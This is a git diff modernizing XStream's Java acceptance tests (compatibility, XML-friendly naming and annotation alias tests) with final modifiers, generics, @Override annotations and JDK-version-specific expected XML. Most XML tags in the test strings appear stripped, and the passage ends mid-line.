b/xstream/src/test/com/thoughtworks/acceptance/XStream12CompatibilityTest.java index d50457a3c..d610f58f5 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/XStream12CompatibilityTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/XStream12CompatibilityTest.java @@ -1,15 +1,20 @@ /* - * Copyright (C) 2007, 2011 XStream Committers. + * Copyright (C) 2007, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 27. June 2007 by Joerg Schaible */ package com.thoughtworks.acceptance; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + import com.thoughtworks.acceptance.objects.OpenSourceSoftware; import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.xstream.XStream; @@ -23,15 +28,10 @@ import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.mapper.Mapper; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - /** * Test XStream 1.2 compatibility. - * + * * @author Jörg Schaible */ public class XStream12CompatibilityTest extends AbstractAcceptanceTest { @@ -41,17 +41,15 @@ public static class ParentClass { } public static class ChildClass extends ParentClass { + @SuppressWarnings("hiding") String name; - - ChildClass() { - this("JDK", "1.3"); - } ChildClass(final String parent, final String child) { ((ParentClass)this).name = parent; name = child; } - + + @Override public String toString() { return ((ParentClass)this).name + "/" + name; } @@ -61,28 +59,30 @@ public void testCanDeserializeHiddenFieldsWithSameTypeWrittenWithXStream11() { xstream.alias("parent", ParentClass.class); xstream.alias("child", ChildClass.class); - final String in = "" + - "\n" + - " CHILD\n" + - " PARENT\n" + - ""; - + final String in = "" + + "\n" + + " CHILD\n" + + " PARENT\n" + + ""; + final ChildClass child = (ChildClass)xstream.fromXML(in); assertEquals("PARENT/CHILD", child.toString()); } public static class ParentA extends StandardObject { - private List stuff = new ArrayList(); + private static final long serialVersionUID = 200706L; + private final List stuff = new ArrayList<>(); - public List getParentStuff() { + public List getParentStuff() { return stuff; } } public static class ChildA extends ParentA { - private Map stuff = new HashMap(); + private static final long serialVersionUID = 200706L; + private final Map stuff = new HashMap<>(); - public Map getChildStuff() { + public Map getChildStuff() { return stuff; } } @@ -90,68 +90,68 @@ public Map getChildStuff() { public void testCanDeserializeHiddenFieldsWithDifferentTypeWrittenWithXStream11() { xstream.alias("child-a", ChildA.class); xstream.alias("parent-a", ParentA.class); - String expected = "" + - "\n" + - " \n" + - " \n" + - " hello\n" + - " world\n" + - " \n" + - " \n" + - " \n" + - " foo\n" + - " \n" + - ""; - - ChildA childA = (ChildA)xstream.fromXML(expected); + final String expected = "" + + "\n" + + " \n" + + " \n" + + " hello\n" + + " world\n" + + " \n" + + " \n" + + " \n" + + " foo\n" + + " \n" + + ""; + + final ChildA childA = (ChildA)xstream.fromXML(expected); assertEquals("world", childA.getChildStuff().get("hello")); assertEquals("foo", childA.getParentStuff().iterator().next()); } public void testCanWriteInheritanceHierarchiesInOldOrder() { xstream = new XStream(new PureJavaReflectionProvider(new FieldDictionary(new XStream12FieldKeySorter()))); - OpenSourceSoftware openSourceSoftware = new OpenSourceSoftware("apache", "geronimo", "license"); - String xml = - "\n" + - " license\n" + - " apache\n" + - " geronimo\n" + - ""; + final OpenSourceSoftware openSourceSoftware = new OpenSourceSoftware("apache", "geronimo", "license"); + final String xml = "\n" + + " license\n" + + " apache\n" + + " geronimo\n" + + ""; xstream.alias("oss", OpenSourceSoftware.class); assertEquals(xml, xstream.toXML(openSourceSoftware)); } - private final class XStream12ReferenceByXPathUnmarshaller extends - ReferenceByXPathUnmarshaller { + private final class XStream12ReferenceByXPathUnmarshaller extends ReferenceByXPathUnmarshaller { private XStream12ReferenceByXPathUnmarshaller( - Object root, HierarchicalStreamReader reader, ConverterLookup converterLookup, - Mapper mapper) { + final Object root, final HierarchicalStreamReader reader, final ConverterLookup converterLookup, + final Mapper mapper) { super(root, reader, converterLookup, mapper); isNameEncoding = false; } } public void testCanReadXmlUnfriendlyXPathReferences() { - xstream.setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(ReferenceByXPathMarshallingStrategy.RELATIVE) { + xstream.setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy( + ReferenceByXPathMarshallingStrategy.RELATIVE) { - protected TreeUnmarshaller createUnmarshallingContext(Object root, - HierarchicalStreamReader reader, ConverterLookup converterLookup, Mapper mapper) { + @Override + protected TreeUnmarshaller createUnmarshallingContext(final Object root, + final HierarchicalStreamReader reader, final ConverterLookup converterLookup, final Mapper mapper) { return new XStream12ReferenceByXPathUnmarshaller(root, reader, converterLookup, mapper); } - + }); xstream.alias("foo$bar", StringBuffer.class); xstream.alias("x_y", StringBuffer.class); - String xml = - "\n" + - " foo\n" + - " \n" + - " bar\n" + - " \n" + - ""; - - List list = (List)xstream.fromXML(xml); + final String xml = "" + + "\n" + + " foo\n" + + " \n" + + " bar\n" + + " \n" + + ""; + + final List list = xstream.fromXML(xml); assertEquals(4, list.size()); assertSame(list.get(0), list.get(1)); assertEquals("foo", list.get(0).toString()); diff --git a/xstream/src/test/com/thoughtworks/acceptance/XStream13CompatibilityTest.java b/xstream/src/test/com/thoughtworks/acceptance/XStream13CompatibilityTest.java index 17963845e..dce2de9d3 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/XStream13CompatibilityTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/XStream13CompatibilityTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2011 XStream Committers. + * Copyright (C) 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 04. August 2011 by Joerg Schaible */ package com.thoughtworks.acceptance; @@ -16,7 +16,7 @@ /** * Test XStream 1.3 compatibility. - * + * * @author Jörg Schaible */ public class XStream13CompatibilityTest extends AbstractAcceptanceTest { @@ -28,7 +28,7 @@ public void testCanReadOldTreeSet() { + " one\n" + " two\n" + ""; - TreeSet expected = new TreeSet(); + final TreeSet expected = new TreeSet<>(); expected.add("two"); expected.add("one"); assertEquals(expected, xstream.fromXML(in)); @@ -47,7 +47,7 @@ public void testCanReadOldTreeMap() { + " 2\n" + " \n" + ""; - TreeMap expected = new TreeMap(); + final TreeMap expected = new TreeMap<>(); expected.put("two", new Integer(2)); expected.put("one", new Integer(1)); assertEquals(expected, xstream.fromXML(in)); diff --git a/xstream/src/test/com/thoughtworks/acceptance/XStreamerTest.java b/xstream/src/test/com/thoughtworks/acceptance/XStreamerTest.java index d6de33a6f..06e212b9c 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/XStreamerTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/XStreamerTest.java @@ -1,21 +1,20 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 01. April 2006 by Joerg Schaible */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.OpenSourceSoftware; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.XStreamer; -import com.thoughtworks.xstream.converters.ConversionException; -import com.thoughtworks.xstream.security.TypePermission; +import java.io.ObjectStreamException; +import java.io.StringReader; +import java.io.StringWriter; +import java.net.URL; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerException; @@ -23,10 +22,11 @@ import javax.xml.transform.stream.StreamResult; import javax.xml.transform.stream.StreamSource; -import java.io.ObjectStreamException; -import java.io.StringReader; -import java.io.StringWriter; -import java.net.URL; +import com.thoughtworks.acceptance.objects.OpenSourceSoftware; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.XStreamer; +import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.security.TypePermission; /** @@ -34,22 +34,24 @@ */ public class XStreamerTest extends AbstractAcceptanceTest { - private Transformer transformer; - + private Transformer transformer; + + @Override protected void setUp() throws Exception { super.setUp(); - + final TransformerFactory transformerFactory = TransformerFactory.newInstance(); final URL url = getClass().getResource("XStreamer.xsl"); transformer = transformerFactory.newTransformer(new StreamSource(url.openStream())); } final static class ImplicitXStreamContainer { + @SuppressWarnings("unused") private XStream myXStream; } public void testDetectsSelfMarshalling() { - ImplicitXStreamContainer c = new ImplicitXStreamContainer(); + final ImplicitXStreamContainer c = new ImplicitXStreamContainer(); c.myXStream = xstream; try { xstream.toXML(c); @@ -58,33 +60,35 @@ public void testDetectsSelfMarshalling() { assertTrue(e.getMessage().contains("XStream instance")); } } - - public void testCanConvertAnotherInstance() throws TransformerException { - XStream x = createXStream(); + + public void testCanConvertAnotherInstance() throws TransformerException { + final XStream x = createXStream(); final String xml = normalizedXStreamXML(xstream.toXML(x)); - for(final TypePermission permission : XStreamer.getDefaultPermissions()) + for (final TypePermission permission : XStreamer.getDefaultPermissions()) { xstream.addPermission(permission); + } final XStream serialized = (XStream)xstream.fromXML(xml); final String xmlSerialized = normalizedXStreamXML(xstream.toXML(serialized)); assertEquals(xml, xmlSerialized); } - + public void testCanBeUsedAfterSerialization() throws TransformerException { final String xml = xstream.toXML(createXStream()); - for(final TypePermission permission : XStreamer.getDefaultPermissions()) + for (final TypePermission permission : XStreamer.getDefaultPermissions()) { xstream.addPermission(permission); + } xstream = (XStream)xstream.fromXML(xml); testCanConvertAnotherInstance(); } - + public void testCanSerializeSelfContained() throws ClassNotFoundException, ObjectStreamException { final OpenSourceSoftware oos = new OpenSourceSoftware("Walnes", "XStream", "BSD"); xstream.alias("software", OpenSourceSoftware.class); - String xml = new XStreamer().toXML(xstream, oos); + final String xml = new XStreamer().toXML(xstream, oos); assertEquals(oos, new XStreamer().fromXML(xml)); } - - private String normalizedXStreamXML(String xml) throws TransformerException { + + private String normalizedXStreamXML(final String xml) throws TransformerException { final StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(new StringReader(xml)), new StreamResult(writer)); return writer.toString(); diff --git a/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyDollarOnlyTest.java b/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyDollarOnlyTest.java index b48b9b96d..34847145a 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyDollarOnlyTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyDollarOnlyTest.java @@ -1,44 +1,32 @@ /* - * Copyright (C) 2007, 2014 XStream Committers. + * Copyright (C) 2007, 2014, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 12. September 2007 by Joerg Schaible */ package com.thoughtworks.acceptance; import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.io.xml.XmlFriendlyNameCoder; -import com.thoughtworks.xstream.io.xml.XppDriver; public class XmlFriendlyDollarOnlyTest extends XmlFriendlyTest { + @Override protected XStream createXStream() { - XStream xstream = new XStream(new XppDriver(new XmlFriendlyNameCoder("_-", "_"))); + final XStream xstream = new XStream(DefaultDriver.create(new XmlFriendlyNameCoder("_-", "_"))); setupSecurity(xstream); - xstream.allowTypesByWildcard(getClass().getSuperclass().getName()+"$*"); + xstream.allowTypesByWildcard(getClass().getSuperclass().getName() + "$*"); return xstream; } - protected Object assertBothWays(Object root, String xml) { - return super.assertBothWays(root, replaceAll(xml, "__", "_")); - } - - // String.replaceAll is JDK 1.4 - protected String replaceAll(String s, final String occurance, final String replacement) { - final int len = occurance.length(); - final int inc = len - replacement.length(); - int i = -inc; - final StringBuffer buff = new StringBuffer(s); - // StringBuffer has no indexOf in JDK 1.3 - while((i = buff.toString().indexOf(occurance, i + inc)) >= 0) { - buff.replace(i, i + len, replacement); - } - return buff.toString(); + @Override + protected T assertBothWays(final Object root, final String xml) { + return super.assertBothWays(root, xml.replaceAll("__", "_")); } - } diff --git a/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java b/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java index 5d4848738..8c53651c9 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java @@ -1,25 +1,27 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2017, 2018, 2019, 2020, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 18. April 2006 by Mauro Talevi */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.StandardObject; - import java.text.DecimalFormatSymbols; import java.util.Locale; +import com.thoughtworks.acceptance.objects.StandardObject; +import com.thoughtworks.xstream.core.JVM; + public class XmlFriendlyTest extends AbstractAcceptanceTest { public static class WithDollarCharField extends StandardObject { + private static final long serialVersionUID = 200604L; String $field; String field$; String fi$eld; @@ -29,13 +31,13 @@ public static class WithDollarCharField extends StandardObject { public void testSupportsFieldsWithDollarChar() { xstream.alias("dollar", WithDollarCharField.class); - WithDollarCharField in = new WithDollarCharField(); + final WithDollarCharField in = new WithDollarCharField(); in.$field = "a"; in.field$ = "b"; in.fi$eld = "c"; in.fi$$eld = "d"; - String expected = "" + final String expected = "" + "\n" + " <_-field>a\n" + " b\n" @@ -46,6 +48,7 @@ public void testSupportsFieldsWithDollarChar() { } public static class WithUnderscoreCharField extends StandardObject { + private static final long serialVersionUID = 200604L; String _field; String field_; String fi_eld; @@ -54,12 +57,12 @@ public static class WithUnderscoreCharField extends StandardObject { public void testSupportsFieldsWithUnderscoreChar() { xstream.alias("underscore", WithUnderscoreCharField.class); - WithUnderscoreCharField in = new WithUnderscoreCharField(); + final WithUnderscoreCharField in = new WithUnderscoreCharField(); in._field = "a"; in.field_ = "b"; in.fi_eld = "c"; - String expected = "" + final String expected = "" + "\n" + " <__field>a\n" + " b\n" @@ -69,6 +72,7 @@ public void testSupportsFieldsWithUnderscoreChar() { } public static class WithDoubleUnderscoreCharField extends StandardObject { + private static final long serialVersionUID = 200605L; String __field; String field__; String fi__eld; @@ -77,12 +81,12 @@ public static class WithDoubleUnderscoreCharField extends StandardObject { public void testSupportsFieldsWithDoubleUnderscoreChar() { xstream.alias("underscore", WithDoubleUnderscoreCharField.class); - WithDoubleUnderscoreCharField in = new WithDoubleUnderscoreCharField(); + final WithDoubleUnderscoreCharField in = new WithDoubleUnderscoreCharField(); in.__field = "a"; in.field__ = "b"; in.fi__eld = "c"; - String expected = "" + final String expected = "" + "\n" + " <____field>a\n" + " b\n" @@ -92,6 +96,7 @@ public void testSupportsFieldsWithDoubleUnderscoreChar() { } public static class WithDollarAndUnderscoreCharField extends StandardObject { + private static final long serialVersionUID = 200709L; String $_$field; String field$_$; String fi_$_eld; @@ -102,14 +107,14 @@ public static class WithDollarAndUnderscoreCharField extends StandardObject { public void testSupportsFieldsWithDollarAndUnderScoreChar() { xstream.alias("dollar", WithDollarAndUnderscoreCharField.class); - WithDollarAndUnderscoreCharField in = new WithDollarAndUnderscoreCharField(); + final WithDollarAndUnderscoreCharField in = new WithDollarAndUnderscoreCharField(); in.$_$field = "a"; in.field$_$ = "b"; in.fi_$_eld = "c"; in.fi_$$_eld = "d"; in.fi$__$eld = "e"; - String expected = "" + final String expected = "" + "\n" + " <_-___-field>a\n" + " b\n" @@ -121,33 +126,35 @@ public void testSupportsFieldsWithDollarAndUnderScoreChar() { } public static class WithUnusualCharacters extends StandardObject { + private static final long serialVersionUID = 201107L; String µ_; String _µ; - String ¢¥€£äöüß; + String ¢¥€£äöüßᚥ; } - + public void testSupportsFieldsWithUnusualChars() { xstream.alias("unusual", WithUnusualCharacters.class); - WithUnusualCharacters in = new WithUnusualCharacters(); + final WithUnusualCharacters in = new WithUnusualCharacters(); in.µ_ = "a"; in._µ = "b"; - in.¢¥€£äöüß = "c"; + in.¢¥€£äöüßᚥ = "c"; - String expected = "" + final String expected = "" + "\n" + " <_.00b5__>a\n" + " <___.00b5>b\n" - + " <_.00a2_.00a5€_.00a3äöüß>c\n" + + " <_.00a2_.00a5_.20ac_.00a3äöüß_.16a5>c\n" + ""; assertBothWays(in, expected); } public static class __ { public static class A_B extends StandardObject { - private int x; + private static final long serialVersionUID = 200709L; + final int x; - public A_B(int x) { + public A_B(final int x) { this.x = x; } @@ -162,8 +169,8 @@ public void testSupportsUnderscoreInShortClassName() { } public void testSlashRSlashSlashSlashN() { - String before = "\r\\\n"; - String xml = xstream.toXML(before); + final String before = "\r\\\n"; + final String xml = xstream.toXML(before); assertEquals(before, xstream.fromXML(xml)); } @@ -171,10 +178,6 @@ public void testCanDealWithUtfText() { assertBothWays("J\u00F6rg", "J\u00F6rg"); } - public void testCanDealWithNullCharactersInText() { - assertBothWays("X\0Y", "X�Y"); - } - public void testEscapesXmlUnfriendlyChars() { assertBothWays("<", "<"); assertBothWays(">", ">"); @@ -186,31 +189,126 @@ public void testEscapesXmlUnfriendlyChars() { assertBothWays("\"", """); } + public void testsDigitsOnly() { + xstream.alias("0123456789", String.class); + assertBothWays("", "<_.0030123456789>"); + } + public void testDecimalFormatSymbols() { - final String xml= "" - + "\n" - + " \n" - + " \n" - + " ,\n" - + " #\n" - + " E\n" - + " .\n" - + " -\n" - + " ,\n" - + " ;\n" - + " \u2030\n" - + " %\n" - + " 3\n" - + " 0\n" - + " NaN\n" - + " \u20ac\n" - + " E\n" - + " \u221e\n" - + " EUR\n" - + " de_DE\n" - + " \n" - + " \n" - + ""; + final String xml; + if (!JVM.isVersion(13)) { + xml = "" + + "\n" + + " \n" + + " \n" + + " ,\n" + + " #\n" + + " E\n" + + " .\n" + + " -\n" + + " ,\n" + + " ;\n" + + " \u2030\n" + + " %\n" + + " 3\n" + + " 0\n" + + " NaN\n" + + " \u20ac\n" + + " E\n" + + " \u221e\n" + + " EUR\n" + + " de_DE\n" + + " \n" + + " \n" + + ""; + } else if (!JVM.isVersion(15)) { + xml = "" + + "\n" + + " \n" + + " \n" + + " ,\n" + + " #\n" + + " E\n" + + " .\n" + + " -\n" + + " ,\n" + + " ;\n" + + " \u2030\n" + + " %\n" + + " 4\n" + + " 0\n" + + " NaN\n" + + " \u20ac\n" + + " E\n" + + " \u221e\n" + + " EUR\n" + + " de_DE\n" + + " -\n" + + " \u2030\n" + + " %\n" + + " \n" + + " \n" + + ""; + } else if (!JVM.isVersion(16)) { + xml = "" + + "\n" + + " \n" + + " \n" + + " ,\n" + + " #\n" + + " E\n" + + " .\n" + + " 0\n" + + " -\n" + + " .\n" + + " ,\n" + + " ;\n" + + " \u2030\n" + + " %\n" + + " 5\n" + + " 0\n" + + " NaN\n" + + " \u20ac\n" + + " E\n" + + " \u221e\n" + + " EUR\n" + + " de_DE\n" + + " -\n" + + " \u2030\n" + + " %\n" + + " \n" + + " \n" + + ""; + } else { + xml = "" + + "\n" + + " \n" + + " \n" + + " ,\n" + + " #\n" + + " E\n" + + " .\n" + + " -\n" + + " .\n" + + " ,\n" + + " ;\n" + + " \u2030\n" + + " %\n" + + " 5\n" + + " 0\n" + + " NaN\n" + + " \u20ac\n" + + " E\n" + + " \u221e\n" + + " EUR\n" + + " de_DE\n" + + " -\n" + + " \u2030\n" + + " %\n" + + " \n" + + " \n" + + ""; + } final DecimalFormatSymbols format = new DecimalFormatSymbols(Locale.GERMANY); format.setNaN("NaN"); assertEquals("EUR", format.getInternationalCurrencySymbol()); diff --git a/xstream/src/test/com/thoughtworks/acceptance/annotations/AliasTest.java b/xstream/src/test/com/thoughtworks/acceptance/annotations/AliasTest.java index 3bc3247fb..f613a14e0 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/annotations/AliasTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/annotations/AliasTest.java @@ -1,15 +1,20 @@ /* - * Copyright (C) 2007, 2013 XStream Committers. + * Copyright (C) 2007, 2013, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. November 2007 by Joerg Schaible */ package com.thoughtworks.acceptance.annotations; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.annotations.XStreamAlias; @@ -25,15 +30,10 @@ import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - /** * Tests annotations defining aliases for classes or fields. - * + * * @author Chung-Onn Cheong * @author Mauro Talevi * @author Guilherme Silveira @@ -43,16 +43,16 @@ public class AliasTest extends AbstractAcceptanceTest { @Override protected XStream createXStream() { - XStream xstream = super.createXStream(); + final XStream xstream = super.createXStream(); xstream.autodetectAnnotations(true); return xstream; } public void testAnnotationForClassWithAnnotatedConverter() { - Map map = new HashMap(); + final Map map = new HashMap(); map.put("first person", new Person("john doe")); map.put("second person", new Person("jane doe")); - String xml = "" + final String xml = "" + "\n" + " \n" + " second person\n" @@ -67,9 +67,9 @@ public void testAnnotationForClassWithAnnotatedConverter() { } public void testAnnotationForFieldWithAliasCycle() { - Cycle cycle = new Cycle(); + final Cycle cycle = new Cycle(); cycle.internal = cycle; - String xml = "" // + final String xml = "" // + "\n" // + " \n" // + ""; @@ -83,11 +83,11 @@ public static class Cycle { } public void testAnnotationForField() { - List nickNames = new ArrayList(); + final List nickNames = new ArrayList(); nickNames.add("johnny"); nickNames.add("jack"); - CustomPerson person = new CustomPerson("john", "doe", 25, nickNames); - String expectedXml = "" + final CustomPerson person = new CustomPerson("john", "doe", 25, nickNames); + final String expectedXml = "" + "\n" + " john\n" + " doe\n" @@ -112,21 +112,24 @@ public static class CustomPerson { List nickNames; public CustomPerson( - String firstName, String lastName, int ageInYears, List nickNames) { + final String firstName, final String lastName, final int ageInYears, final List nickNames) { this.firstName = firstName; this.lastName = lastName; this.ageInYears = ageInYears; this.nickNames = nickNames; } - public boolean equals(Object obj) { - if ((obj == null) || !(obj instanceof CustomPerson)) return false; + @Override + public boolean equals(final Object obj) { + if (obj == null || !(obj instanceof CustomPerson)) { + return false; + } return toString().equals(obj.toString()); } @Override public String toString() { - StringBuilder sb = new StringBuilder(); + final StringBuilder sb = new StringBuilder(); sb .append("firstName:") .append(firstName) @@ -139,6 +142,10 @@ public String toString() { return sb.toString(); } + @Override + public int hashCode() { + return toString().hashCode(); + } } @XStreamAlias("person") @@ -147,23 +154,30 @@ public static class Person { String name; AddressBookInfo addressBook; - public Person(String name) { + public Person(final String name) { this.name = name; addressBook = new AddressBook(); } - public boolean equals(Object obj) { - if ((obj == null) || !(obj instanceof Person)) return false; + @Override + public boolean equals(final Object obj) { + if (obj == null || !(obj instanceof Person)) { + return false; + } return addressBook.equals(((Person)obj).addressBook); } @Override public String toString() { - StringBuilder sb = new StringBuilder(); + final StringBuilder sb = new StringBuilder(); sb.append("name:").append(name).append("addresbook:").append(addressBook); return sb.toString(); } + @Override + public int hashCode() { + return toString().hashCode(); + } } @XStreamAlias(value = "addressbook-info", impl = AddressBook.class) @@ -185,20 +199,29 @@ public AddressBook() { addresses.add(new Address("Office Address", 222)); } + @Override public List getAddresses() { return addresses; } - public void setAddresses(List addresses) { + @Override + public void setAddresses(final List addresses) { this.addresses = addresses; } - public boolean equals(Object obj) { - if ((obj == null) || !(obj instanceof AddressBookInfo)) return false; + @Override + public boolean equals(final Object obj) { + if (obj == null || !(obj instanceof AddressBookInfo)) { + return false; + } return addresses.containsAll(((AddressBookInfo)obj).getAddresses()); } + @Override + public int hashCode() { + return addresses.hashCode(); + } } @XStreamAlias(value = "addressinfoAlias", impl = Address.class) @@ -211,18 +234,20 @@ public interface AddressInfo { @XStreamAlias(value = "addressAlias") public static class Address implements AddressInfo { - private String addr; - private int zipcode; + private final String addr; + private final int zipcode; - public Address(String addr, int zipcode) { + public Address(final String addr, final int zipcode) { this.addr = addr; this.zipcode = zipcode; } + @Override public String addr() { return addr; } + @Override public int zipcode() { return zipcode; } @@ -233,24 +258,27 @@ public static class PersonConverter implements Converter { public PersonConverter() { } - public String toString(Object obj) { + public String toString(final Object obj) { return ((Person)obj).name; } - public Object fromString(String str) { + public Object fromString(final String str) { return new Person(str); } - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type == Person.class; } - public void marshal(Object source, HierarchicalStreamWriter writer, - MarshallingContext context) { + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, + final MarshallingContext context) { writer.setValue(toString(source)); } - public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { return fromString(reader.getValue()); } } @@ -264,16 +292,16 @@ static class Dash { public void testAnnotationForFieldWithAttributeDefinitionForFieldType() { xstream.alias("dash", Dash.class); xstream.useAttributeFor(int.class); - String xml = ""; + final String xml = ""; assertBothWays(new Dash(), xml); } public static abstract class Aged { @XStreamAlias("age") @XStreamAsAttribute - private Integer id; + private final Integer id; - Aged(Integer id) { + Aged(final Integer id) { this.id = id; } } @@ -282,59 +310,63 @@ public static abstract class Aged { public static class AgedThing extends Aged { @XStreamAsAttribute - private String name; + private final String name; - AgedThing(String name, Integer id) { + AgedThing(final String name, final Integer id) { super(id); this.name = name; } } public void testAnnotationIsInheritedTogetherWithAsAttribute() { - String xml = ""; + final String xml = ""; assertBothWays(new AgedThing("Name", 99), xml); } - + @XStreamAliasType("any") public static abstract class Base { String type = getClass().getName(); } - public static class A extends Base { - } - public static class B extends Base { - } - public static class BB extends B { - } - + + public static class A extends Base {} + + public static class B extends Base {} + + public static class BB extends B {} + public void testAnnotationForATypeAlias() { xstream.registerConverter(new SingleValueConverter() { Mapper mapper = xstream.getMapper(); - public boolean canConvert(Class type) { + + @Override + public boolean canConvert(final Class type) { return Base.class.isAssignableFrom(type); } - public String toString(Object obj) { + + @Override + public String toString(final Object obj) { return ((Base)obj).type; } - public Object fromString(String str) { - Class realClass = mapper.realClass(str); + + @Override + public Object fromString(final String str) { + final Class realClass = mapper.realClass(str); try { return realClass.newInstance(); - } catch (InstantiationException e) { - throw new ConversionException(e); - } catch (IllegalAccessException e) { + } catch (final InstantiationException | IllegalAccessException e) { throw new ConversionException(e); } } }); - Base[] array = new Base[]{ new A(), new B(), new BB()}; + final Base[] array = new Base[]{new A(), new B(), new BB()}; - String expectedXml = "" - + "\n" - + " com.thoughtworks.acceptance.annotations.AliasTest$A\n" - + " com.thoughtworks.acceptance.annotations.AliasTest$B\n" - + " com.thoughtworks.acceptance.annotations.AliasTest$BB\n" - + ""; + final String expectedXml = "" + + "\n" + + " com.thoughtworks.acceptance.annotations.AliasTest$A\n" + + " com.thoughtworks.acceptance.annotations.AliasTest$B\n" + + " com.thoughtworks.acceptance.annotations.AliasTest$BB\n" + + ""; assertBothWays(array, expectedXml); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/annotations/AnnotationsTest.java b/xstream/src/test/com/thoughtworks/acceptance/annotations/AnnotationsTest.java index 5a63a4de7..900d5ef73 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/annotations/AnnotationsTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/annotations/AnnotationsTest.java @@ -1,41 +1,41 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 16. September 2005 by Mauro Talevi */ package com.thoughtworks.acceptance.annotations; -import com.thoughtworks.acceptance.AbstractAcceptanceTest; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.annotations.XStreamAlias; -import com.thoughtworks.xstream.annotations.XStreamInclude; - import java.io.IOException; import java.io.ObjectInputStream; import java.io.StringReader; import java.util.ArrayList; import java.util.List; +import com.thoughtworks.acceptance.AbstractAcceptanceTest; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.annotations.XStreamAlias; +import com.thoughtworks.xstream.annotations.XStreamInclude; + /** * Tests for annotation detection. - * + * * @author Chung-Onn Cheong * @author Mauro Talevi * @author Guilherme Silveira * @author Jörg Schaible */ public class AnnotationsTest extends AbstractAcceptanceTest { - + @Override protected XStream createXStream() { - XStream xstream = super.createXStream(); + final XStream xstream = super.createXStream(); xstream.autodetectAnnotations(true); return xstream; } @@ -43,7 +43,7 @@ protected XStream createXStream() { @XStreamAlias("param") public static class ParameterizedContainer { - private ParameterizedType type; + final ParameterizedType type; public ParameterizedContainer() { type = new ParameterizedType(new InternalType()); @@ -54,7 +54,7 @@ public ParameterizedContainer() { @XStreamAlias("param") public static class DoubleParameterizedContainer { - private ArrayList> list; + private final ArrayList> list; public DoubleParameterizedContainer() { list = new ArrayList>(); @@ -63,17 +63,20 @@ public DoubleParameterizedContainer() { } } - + @XStreamAlias("second") public static class InternalType { @XStreamAlias("aliased") - private String original = "value"; + private final String original = "value"; + + @Override + public boolean equals(final Object obj) { + return obj instanceof InternalType ? original.equals(((InternalType)obj).original) : false; + } @Override - public boolean equals(Object obj) { - return obj instanceof InternalType - ? original.equals(((InternalType)obj).original) - : false; + public int hashCode() { + return original.hashCode(); } } @@ -81,21 +84,25 @@ public 